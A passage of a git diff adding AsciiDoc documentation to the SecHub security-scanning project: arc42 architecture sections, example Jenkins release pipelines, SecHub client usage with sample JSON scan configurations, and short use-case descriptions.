https://docs.arc42.org/section-6/ +=== Content +The runtime view describes concrete behavior and interactions of the system’s building blocks in form of scenarios from the following areas: + + - important use cases or features: how do building blocks execute them? + - interactions at critical external interfaces: how do building blocks cooperate with users and neighbouring systems? + - operation and administration: launch, start-up, stop + - error and exception scenarios + +NOTE: The main criterion for the choice of possible scenarios (sequences, workflows) is their architectural relevancy. + It is not important to describe a large number of scenarios. You should rather document a representative selection. + +=== Motivation + +You should understand how (instances of) building blocks of your system perform their job and communicate at runtime. You will mainly capture scenarios in your documentation to communicate your architecture to stakholders that are less willing or able to read and understand the static models (building block view, deployment view). + +=== Form +There are many notations for describing scenarios, e.g. + + - numbered list of steps (in natural language) + - activity diagrams or flow charts + - sequence diagrams + - BPMN or EPCs (event process chains) + - state machines + - ... + +include::./../gen/gen_usecases.adoc[] + +include::./../gen/gen_uc_restdoc.adoc[] +=== Domain Driven Design +We use domain driven design, but communication is done very simple - for more +details read the <>. + +==== Domain Message Bus +The domain message bus represents an abstraction layer for communication between different domains. +It shall be the ONLY way to communicate between the different domains. +Purpose: In future maybe the domains will be separate spring boot applications and be also +autark deployable! + +Currently SecHub contains of ONE deployable spring boot application. +But to prevent the "Big ball of mud" this abstraction must be always used when +one domain calls another one. + +==== Domain communication and actions +image::domain-communication-and-actions.svg[title="Domain communication and actions" opts="interactive,inline"] + +include::../gen/gen_messaging.adoc[] + +=== Calling Security Products + +==== Product adapter +A *Product adapter* is _"stupid"_ and does NOT know anything about SecHub. + +It only knows a product and is able to provide methods for access. That's all. +In most cases there exists also a simple test application which can be used to +play around with the product. So we got rapid response if product adapter works +well. + +image::adapter-big-picture.svg[title="Adapter Big picture" opts="interactive,inline"] + + +*Every* product adapter must be provided and used by its own interface. Also the adapter project must provide: + +. Real adapter implementation +. Additional mock variant +.. mock REST api calls etc. +.. returns a predefined set of an real output +.. maybe has possibilities to change the behaviour on runtime + +By the *mock variant* it is possible to +- test the complete szenario in a very fast way... +- test configuration values from sechub are passed through adapter + +===== Implementation of new adapters +*Only green highlighted classes* in former image above *needs to be* +*implmemented* to get a new adapter running. + +The abstract implementation does have the most technical parts already inside, +so implementing a new adapter should be very easy and developers can +concentrate on adapter business logic. + +For example the handling of proxies or self signed certificates is already +managed there. Please look into existing adapters for more information / inspiration. + + +==== Product executor +A `Product executor` does know {sechub} and has access to database etc. It *uses* a `Product adapter` inside! + +==== Product executors and results +The `scan service` and the `report builder service` are using different product executors to create `ProductResult` +table entries. + +Each product executor will persist its state - so even `SERECO` will persist its full content as report result as well! +This was made to store all information - for retry mechanism in future and also for easier debugging etc. +When failures on last step are occurring (and e.g. we got a succesful scan(s) by other (product(s) which took +3 hours....) we can retry the full step - or, at least interesting for debugging/analyzing. + +==== Product executor versus product execution service +The service does execute and handle different product executors. + +=== Target handling + +include::../shared/concepts/concept_targets.adoc[] diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/07_deployment_view.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/07_deployment_view.adoc new file mode 100644 index 0000000000..5fb39dfba2 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/07_deployment_view.adoc @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +[[section-deployment-view]] + + +== Deployment View + +[[section-infrastructure-setup]] +=== SecHub infrastructure setup +include::../shared/infrastructure/infra_springboot.adoc[] + +include::../shared/infrastructure/infra_localdevelopment.adoc[] + +include::../shared/infrastructure/infra_security_products.adoc[] + +include::../shared/infrastructure/infra_docker.adoc[] + +include::../shared/infrastructure/infra_kubernetes.adoc[] + + diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/08_concepts.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/08_concepts.adoc new file mode 100644 index 0000000000..246323d8ac --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/08_concepts.adoc @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +[[section-concepts]] +== Cross-cutting Concepts + +=== Simple Domain Driven Design (SDDD) + +include::../shared/concepts/concept_simple_domain_driven_design.adoc[] + + +=== __ + +__ + +... + +=== __ + +__ diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/09_design_decisions.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/09_design_decisions.adoc new file mode 100644 index 0000000000..7df3f6d52a --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/09_design_decisions.adoc @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +[[section-design-decisions]] +== Design Decisions + + + diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/10_quality_scenarios.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/10_quality_scenarios.adoc new file mode 100644 index 0000000000..e0972b5e03 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/10_quality_scenarios.adoc @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +[[section-quality-scenarios]] +== Quality Requirements + + + + +=== Quality Tree + + + +=== Quality Scenarios + + diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/11_technical_risks.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/11_technical_risks.adoc new file mode 100644 index 0000000000..9843024c5d --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/11_technical_risks.adoc @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +[[section-technical-risks]] +== Risks and Technical Debts + + + diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/12_glossary.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/12_glossary.adoc new file mode 100644 index 0000000000..b3a0e5ff99 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/12_glossary.adoc @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +[[section-glossary]] +== Glossary + + + + + +[options="header"] +|=== +| Term | Definition +| | +| | +|=== diff --git a/sechub-doc/src/docs/asciidoc/documents/architecture/about-arc42.adoc b/sechub-doc/src/docs/asciidoc/documents/architecture/about-arc42.adoc new file mode 100644 index 0000000000..e52ca063e5 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/architecture/about-arc42.adoc @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +:homepage: http://arc42.org + +:keywords: software-architecture, documentation, template, arc42 + +:numbered!: +**About arc42** + +[role="lead"] +arc42, the Template for documentation of +software and system architecture. + +By Dr. Gernot Starke, Dr. Peter Hruschka and contributors. + + +Template Revision: 7.0 EN (based on asciidoc), January 2017 + +(C) +We acknowledge that this document uses material from the +arc 42 architecture template, http://www.arc42.de. +Created by Dr. Peter Hruschka & Dr. Gernot Starke. diff --git a/sechub-doc/src/docs/asciidoc/documents/buildserver/example-sechub-client-released-pipeline.jenkins b/sechub-doc/src/docs/asciidoc/documents/buildserver/example-sechub-client-released-pipeline.jenkins new file mode 100644 index 0000000000..ddac927538 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/buildserver/example-sechub-client-released-pipeline.jenkins @@ -0,0 +1,19 @@ +pipeline { + agent any + parameters { + string( + name: 'CLIENTVERSION', + defaultValue: '0.0.0', + // OSS build does enter this automatically! + description: 'New client version...' + ) + } + + stages { + stage('Handle new client released') { + steps { + echo "Implement me: upload client :${params.CLIENTVERSION}" + } + } + } +} diff --git a/sechub-doc/src/docs/asciidoc/documents/buildserver/example-sechub-server-released-pipeline.jenkins b/sechub-doc/src/docs/asciidoc/documents/buildserver/example-sechub-server-released-pipeline.jenkins new file mode 100644 index 0000000000..4c0ee4161a --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/buildserver/example-sechub-server-released-pipeline.jenkins @@ -0,0 +1,19 @@ +pipeline { + agent any + parameters { + string( + name: 'SERVERVERSION', + defaultValue: '0.0.0', + // OSS build does enter this automatically! + description: 'New server version...' + ) + } + + stages { + stage('Handle new server released') { + steps { + echo "Implement me: deploy server :${params.SERVERVERSION}" + } + } + } +} diff --git a/sechub-doc/src/docs/asciidoc/documents/buildserver/jenkins-pipeline.adoc b/sechub-doc/src/docs/asciidoc/documents/buildserver/jenkins-pipeline.adoc new file mode 100644 index 0000000000..077526dae7 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/buildserver/jenkins-pipeline.adoc @@ -0,0 +1,104 @@ +=== Jenkins auto deployment + +When you want to build and automate deployment of {secHub} by https://jenkins.io/[Jenkins] you can +use a preconfigured pipeline script. + +Your Jenkins server should be at minimum: `Jenkins ver. 2.176.1`. + +NOTE: Of course you can setup {secHub} by your own in a way you like. But + the following documentation will always work. + + +==== Continous integration build + +This setup builds all branches except `master` (master is always build by next +job...). The multibranch pipeline build is for continous integration +builds - means to get fast feedback. + + +*Please setup CI by...* + +- Jenkins > create new Item -> `Multibranch pipeline`, name: `sechub-open-source-ci` + +- Branch sources: `Git`+ + * Project repository: `https://github.com/Daimler/sechub.git` + + * Behaviours: + . Discover branches + . Filter by name (with wildcards): +---- + Include: * + Exclude: master +---- +- Build configuration: + + * Mode `by jenkinsfile` + * Script path: `continous-integration-multibranch-pipeline.jenkins` +- Scan Multibranch Pipeline Triggers + + * Periodically if not otherwise run + * Interval `5 minutes` +- Save ... + +==== Release build + +Release builds are only done at `master` branch and do also publish +artifacts to maven repository when commit has been tagged. +The tags are starting with a `v` then be followed +by `major`.`minor`.`hotfix`, a hyphen and then the `type`. + + + +A server could be released by a tag like +`v1.1.0-server`, a new client by `v1.2.0-client` for example. + + + +*For setup release build please do following:* + +- Jenkins > create new Item -> `Pipeline`, name: `sechub-open-source-release` + +- Build triggers : `Poll SCM` + + Schedule: +---- + # every five minutes + H/5 * * * * +---- + +- Pipeline: `Pipeline script from SCM` + + * SCM: Git + * Repository URL: `https://github.com/Daimler/sechub.git` + * Branches to build: `*/master` + * Script Path: `release-pipeline.jenkins` + +- Save ... + + +WARNING: Don't use accidently a *multibranch pipeline* here but only + a *pipeline* job! + Otherwise the algorithm for automatical calling for + `sechub-serer-released` and `sechub-client-released` jobs + does not work. Reason: multibranch pipelines handle tags special + and will not fetch tags - what is necessary for release. + +==== Special client and server release trigger jobs +If there are new versions of client or server available - means tagged with +client or server versions (e.g. `v1.1.0-server` or `v1.2.0-client`) the former +created release job will automatically publish client and server artifacts (includes +documentation, spring boot jars, binaries etc.) to dedicated maven repository +and after this calls one/or two of the following jobs: + +`sechub-server-released` with parameter `SERVERVERSION` as `1.1.0` + +`sechub-client-released` with parameter `CLIENTVERSION` as `1.2.0` + +So you have to add these additional `Pipeline` jobs. + +IMPORTANT: The client and server release jobs has to be stored in *another git repository* +containing your specific deployment parts etc. + +===== Examples +Here are some simple examples - easy to adopt: + +[source,groovy,title='Example for a `sechub-server-released` job'] +---- +include::example-sechub-server-released-pipeline.jenkins[] +---- + +[source,groovy,title='Example for a `sechub-client-released` job'] +---- +include::example-sechub-client-released-pipeline.jenkins[] +---- + diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/README.md b/sechub-doc/src/docs/asciidoc/documents/code2doc/README.md new file mode 100644 index 0000000000..dd2a1966b8 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/README.md @@ -0,0 +1,7 @@ + +# About folder "code2doc" + +Inside this folder you will find documents which are referenced by source code. E.g. a @Step references one of the documents inside. This folder +will always be the relative start point for documentation references in code! + +These documents are normally referenced only by generated parts again and the generated one is included by normal documents. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/client/02_sechub_client.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/client/02_sechub_client.adoc new file mode 100644 index 0000000000..18b9d9c1a5 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/client/02_sechub_client.adoc @@ -0,0 +1,260 @@ +// SPDX-License-Identifier: MIT +[[section-development-servers]] +[[section-sechub-client]] +== SecHub client +=== In a nutshell +The `{sechub}` client program is an executable binary which can be used from command +line or in a build tool of your choice. + +It's very easy to use and using the client you have not to handle and REST-API calls by yourself. + +NOTE: Currently the client only supports only basic authentication, but of course always only over https. + +=== Download +Download the binary for your operating system where you want to trigger `{sechub}` scanning. +You will have no dependencies, just place the single binary file to a location inside your path variable. + +The latest client and also user documentation can be found at {websiteURL}/wiki/releases + +=== Usage + +==== Show help +---- +sechub -help +---- +will print out a simple help of all command line options. Also an almost running example snippet is shown. +The example config file does contain many fake entries, even for `server` and webscan `url`. +Please change to correct values. + +==== Actions + +Following actions are supported: + +===== scan + +Does scan synchronous which means + + - will create a `{sechub}` job + - upload necessary stuff to `{sechub}` (e.g. zipped sourcefiles for source scans) + - approve job as being ready to start + - wait for job done, + - fetch automatically result report to output folder (html or json) + - break your build when not `green` + +TIP: The is the most preferred scan action for builds - you only have to make one + single client call and your are done. + +**Minimum call syntax** +---- +sechub -apitoken ${apitoken} scan +---- + +===== scanAsync + +Does scan asynchronous which means + + - will create a `{sechub}` job + - upload necessary stuff to `{sechub}` (e.g. zipped sourcefiles for source scans) + - approve job as being ready to start + - returns `{sechub}` job UUID + + which can be used to get status and also reports etc. + - will **never** break your build! + +TIP: This can be interesting if you have long running scans and you want have a fast + continous integration build - but **be aware** that you have to manually check + job state, fetch reports and you got no automated build break! + + +**Minimum call syntax** +---- +sechub -apitoken ${apitoken} scanAsync +---- + + +===== getStatus +Will fetch current job status and return result as json or html + +**Minimum call syntax** +---- +sechub -apitoken ${apitoken} -jobUUID §{jobUUID} getStatus +---- + +===== getReport +Will fetch report as json (result will only exist when job is done) + +**Minimum call syntax** +---- +sechub -apitoken ${apitoken} -jobUUID §{jobUUID} getReport +---- +==== Options + +- apitoken `` + + The api token. This is a mandatory option for every action. Can *NOT* be defined in config file +- configfile `` + + Path to `{sechub}` config file, if not defined `sechub.json` will be used in current directory +- help + + Shows help and terminates +- jobUUID `` + + `{sechub}` job uuid (mandatory when using 'getStatus' or 'getReport') +- output `` + + Output folder for reports etc. per default current dir +- project `` + + Unique project id - mandatory, but can also be defined in config file +- reportformat `` + + Output format for reports, supported currently: [html,json]. If not a wellknown format json will always be the fallback. (default "json") +- server `` + + Server url of `{sechub}` server to use - e.g. https//example.com:8081. Mandatory, but can also be defined in config file +- user `` + + Username - mandatory, but can also be defined in config file +- version + + Shows version info and terminates +- wait `` + + + wait time in seconds. Will be used for automatic status checks etc. when action='scan'. Default is 60 seconds (default 60) + +==== Configuration file + +A `{sechub}` configuration files must be a valid json file. +In following sub chapters the elements inside JSON format are described + +===== API version +`apiVersion` must be defined (so mandatory). Currently only `1.0` is valid. + +===== Server +`server` (optional) defines the location to `{sechub}` server. Normally always `https://sechub.example.org`. +This option can be set as CLI option as well. CLI option overrides value from configuration script! + +===== Project +`project` (optional) defines the project to use. +This option can be set as CLI option as well. CLI option overrides value from configuration script! + +===== Code scan +`codeScan` (optional) defines the code scan settings. +(see <>) + +====== Use uploaded sources from file system +Define `fileSystem` child entry and setup folders to use for code scanning by +`folders` sub entry. + +Those folders will be automatically zipped and uploaded to SecHub server for ongoing source analysis. + +The folders should be defined relatively from caller location - for example on a Jenkins Build Server +this is normally the root folder of repository(see +<>) + +WARNING: Currently wrong defined folder setup will be not checked by client. So when wrong configured you will upload no sources... + +===== Web scan +`webScan` (optional) defines the web scan settings (see <>). + +====== URIs +Use `uri` element to define a string array containing uris you want to scan. +(see <>) + +WARNING: URI must be one of the whitelisted URLs of your project. Otherwise it will be rejected. + So your are not able to start scanning foreign domains and do _accidently_ an DoS attack... + +===== Infrastructure scan +`infraScan` (optional) defines the infrastructure scan settings (see <>). + +====== URIs +Use `uri` element to define a string array containing uris you want to scan. +(see <>) + +====== IPs +Use `ips` element to define a string array containing `IP` s you want to scan. + +==== Examples + +NOTE: Next following sub chapters contain some `{sechub}` configuration examples. + You can use them as templates for your own files. + At least replace example credentials `7536a8c4aa82407da7e06bdbEXAMPLE` and `alice` with your real ones to + get them working. + +===== Start a source scan + +[source, bash] +---- +sechub -apitoken 7536a8c4aa82407da7e06bdbEXAMPLE scan +---- +with corresponding 'sechub.json' config file: +[[sechub-client-example-sourcescan-config]] +[source, json] +---- + { + + "apiVersion": "1.0", + "server" : "https://sechub.example.org", + + "project" : "gamechanger", + + "codeScan": {<1> + "fileSystem": {<2> + "folders": ["gamechanger-android/src/main/java", + "gamechanger-server/src/main/java"], //<3> + "excludes" : ["**/*.log","README*.md"] //<4> + } + } +---- +<1> Define code scan +<2> Use filesystem - so means upload sources to server +<3> Upload will contain sources from `gamechanger-android/src/main/java` and `gamechanger-server/src/main/java` and their sub folders +<4> Exclude files (optional), syntax is similar to https://ant.apache.org/manual/Types/fileset.html[ANT fileset] - `+**/*+` is used to identify any folder + + In example above following files are excluded from upload: + + * `+**/*.log+` - excludes any log file in any sub directories of given folders + * `+README*.md+` excludes all markdown README files in given folders. For example above this means: + ** `gamechanger-android/src/main/java/README.md` and + ** `gamechanger-server/src/main/java/README.md` + +===== Start a web scan + +[source, bash] +---- +sechub -apitoken 7536a8c4aa82407da7e06bdbEXAMPLE scan +---- +with corresponding 'sechub.json' config file: +[[sechub-client-example-webscan-config]] +[source, json] +---- + + { + "apiVersion": "1.0", + + "server" : "https://sechub.example.org", + "user" : "alice", + + "project" : "gamechanger", + + "webScan" : {//<1> + "uris": ["https://www.gamechanger.example.org"]//<2> + } + } +---- +<1> Define web scan +<2> The `URI` s to scan. Every `URI` listed here must be white listed in `{sechub}` project. + +===== Start a infra scan + +[source, bash] +---- + +sechub -apitoken 7536a8c4aa82407da7e06bdbEXAMPLE scan +---- +with corresponding `sechub.json` config file: +[[sechub-client-example-infrascan-config]] +[source, json] +---- + + { + "apiVersion": "1.0", + + "server" : "https://sechub.example.org", + "user" : "alice", + + "project" : "gamechanger", + + "infraScan": {//<1> + "uris": ["https://www.gamechanger.example.org/"]//<2> + } + } +---- +<1> Define infrastructure scan +<2> The `URI` s to scan. Every `URI` listed here must be white listed in `{sechub}` project. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/admin_lists_all_running_jobs.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/admin_lists_all_running_jobs.adoc new file mode 100644 index 0000000000..ac7c229b4e --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/admin_lists_all_running_jobs.adoc @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +Administrator lists all running jobs inside `{sechub}`. +The list entries do contain + +- jobUUID +- project id +- owner of job (id of user who executed job) +- status +- since time stamp +- configuration + +These entries are only available at running jobs + +This is an important action to get info about current treshold in sechub. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/scheduler_starts_job.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/scheduler_starts_job.adoc new file mode 100644 index 0000000000..cc5d47d302 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/scheduler_starts_job.adoc @@ -0,0 +1,3 @@ +// SPDX-License-Identifier: MIT +Scheduler service starts next `SchedulerJob`. Before a user has only created and approved a job which was lead only to database persistence of JobData. +The work itself is triggered/executed here by asynchronous batch operation. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/scheduler_starts_job_tasklet.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/scheduler_starts_job_tasklet.adoc new file mode 100644 index 0000000000..e68dada8ec --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/job/scheduler_starts_job_tasklet.adoc @@ -0,0 +1,4 @@ +// SPDX-License-Identifier: MIT +Here the batch operation is done by sending an synchronous SCAN event to event bus. +When domain SCAN has done the operation {sechub} job will be updated. +Also an event about `JOB DONE` will be sent. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/admin_creates_project.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/admin_creates_project.adoc new file mode 100644 index 0000000000..a088690710 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/admin_creates_project.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +Administrator creates a project inside `{sechub}`. + +A Project is the main entry point for every `{sechub}` operation! +For example a user must have a project assigned to be able to scan on it! \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/admin_deletes_project.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/admin_deletes_project.adoc new file mode 100644 index 0000000000..8c7aaee75b --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/admin_deletes_project.adoc @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +Administrator deletes a project from `{sechub}`. + +A Project is the main entry point for every `{sechub}` operation and deleting this will result in: + +- Terminate all running jobs for this project +- Remove project administration setup +- User to project association +- All existing project report results + +WARNING: Albert Tregnaghi, 2018-08-03: This is currently not full implemented! \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/update_project_whitelist.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/update_project_whitelist.adoc new file mode 100644 index 0000000000..f957118431 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/project/update_project_whitelist.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +Update project whitelist + +A user in given role is able to update the <>. + diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/approve_sechub_job_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/approve_sechub_job_description.adoc new file mode 100644 index 0000000000..5097ce15ec --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/approve_sechub_job_description.adoc @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-approves-job]] +A user wants to approve a former <>. + +This means the user has done all necessary preparations - e.g. <> for code scanning +- and wants the job marked as ready for execution diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/check_sechub_job_state_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/check_sechub_job_state_description.adoc new file mode 100644 index 0000000000..cda8a48b5a --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/check_sechub_job_state_description.adoc @@ -0,0 +1,3 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-checks-job-state]] +User wants to get the state of the current running job. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/clicks_link_to_get_new_api_token.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/clicks_link_to_get_new_api_token.adoc new file mode 100644 index 0000000000..d05777f363 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/clicks_link_to_get_new_api_token.adoc @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-clicks-link-to-get-new-apitoken]] +The user has to open the received email and click there on the contained link with a onetimetoken api which is another usecase. + +This use case is either triggered by +<> or +<>. diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/create_sechub_job_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/create_sechub_job_description.adoc new file mode 100644 index 0000000000..966f635570 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/create_sechub_job_description.adoc @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-creates-job]] +A user wants to create a new sechub job. + +WARNING: This will *not* directly start the job. Please refer to <>. + +As a result the user will have created a new `{sechub}` job and have a job UUID as result. +After this the user is able to + +- <> +- <> + diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/download_sechub_job_report_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/download_sechub_job_report_description.adoc new file mode 100644 index 0000000000..c01b8b3385 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/download_sechub_job_report_description.adoc @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-downloads-job-report]] +A user wants to download an executed `{sechub}` job by its given job UUID. + +The report standard format will be json, so machine readable. But there is +also the option to download the report as HTML file. + +The HTML file and also the JSON will only have a reduced view of the scan +results. Code snippets etc. can be found on the real security products. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/request_new_api_token_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/request_new_api_token_description.adoc new file mode 100644 index 0000000000..2bda0b648f --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/request_new_api_token_description.adoc @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-requests-new-apittoken]] +It shall be possible to achieve this by calling REST API and also by just visiting +static sechub website and entering mail adress and post request by simple web form. + +When user exists a new one time token will be created and sent to user per email - so same way as done when a new +user signup is accepted by admin. + +The user has to <>. + + + diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/selfregistration_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/selfregistration_description.adoc new file mode 100644 index 0000000000..3058f2f081 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/selfregistration_description.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +The self registration can be done by `anonymous` users. + +If a user is not already inside the system and there exists not already a self registration the signup +is persisted. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/start_scan_by_client_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/start_scan_by_client_description.adoc new file mode 100644 index 0000000000..7a4919df50 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/start_scan_by_client_description.adoc @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-starts-scan-by-client]] +Sechub has got it's own client, written in go. The client is available for Linux and +Windows and can be downloaded at {websiteURL} . + +The client encapsulated and simplifies the necessary steps to do a scan to one single step only + +It does automate following usecases: + +. <> +. <> +. <> +. <> periodically +. <> + +If the scan report traffic light is RED the build client will return an System exit code greater than zero so +build will break. + +More information about the client can be found inside the user documentation. + diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/upload_sourcecode_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/upload_sourcecode_description.adoc new file mode 100644 index 0000000000..2cc793231d --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/upload_sourcecode_description.adoc @@ -0,0 +1,5 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-uploads-sourcecode-for-job]] +A user wants to upload sourcecode for a former <>. + +The source code must be a valid zipfile. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/upload_sourcecode_for_sechub_job_description.adoc b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/upload_sourcecode_for_sechub_job_description.adoc new file mode 100644 index 0000000000..325619621a --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/code2doc/usecases/user/upload_sourcecode_for_sechub_job_description.adoc @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +[[sechub-doclink-uc-user-uploads-sourcecode-for-job]] +A user wants to upload source code for source scanning. + +NOTE: Before this a <>. + +After this the user is able to + +- <> + + diff --git a/sechub-doc/src/docs/asciidoc/documents/config.adoc b/sechub-doc/src/docs/asciidoc/documents/config.adoc new file mode 100644 index 0000000000..3eef527c88 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/config.adoc @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +// asciidoc settings for EN (English) +// ================================== +:toc: +:toc-title: Table of contents +:toclevels: 5 + +// where are images located? +:imagesdir: ./images +:mailToAdmin: sechub@example.org +:websiteURL: https://github.com/daimler/sechub +:sechub: SecHub + + +:launchServerPackageName: com.daimler.sechub +:launchServerClassName: SecHubServerApplication + +:launchDevAdminUIPackageName: com.daimler.sechub.developertools.admin.ui +:launchDevAdminUIClasName: DeveloperAdministrationUI \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/gen/.gitignore b/sechub-doc/src/docs/asciidoc/documents/gen/.gitignore new file mode 100644 index 0000000000..d11f8b6b51 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/gen/.gitignore @@ -0,0 +1,4 @@ +# Ignore all generated parts, except README.md (AND .gitignore itself!) +* +!README.md +!.gitignore \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/gen/README.md b/sechub-doc/src/docs/asciidoc/documents/gen/README.md new file mode 100644 index 0000000000..a6b0b7fc13 --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/gen/README.md @@ -0,0 +1,5 @@ + +# About `generated` folder + +This folder contains files generated by `generateAsciidoc` gradle task. +See `.gitignore` inside this folder for details about ignored /not ignored files. \ No newline at end of file diff --git a/sechub-doc/src/docs/asciidoc/documents/server/03_sechub_rest_api.adoc b/sechub-doc/src/docs/asciidoc/documents/server/03_sechub_rest_api.adoc new file mode 100644 index 0000000000..cce3b23fee --- /dev/null +++ b/sechub-doc/src/docs/asciidoc/documents/server/03_sechub_rest_api.adoc @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +[[section-sechub-rest-api]] + +== SecHub REST API + +TIP: You are encouraged to use sechub client instead of using REST API direct! + It makes usage of sechub much more comfortable! Using REST API directly 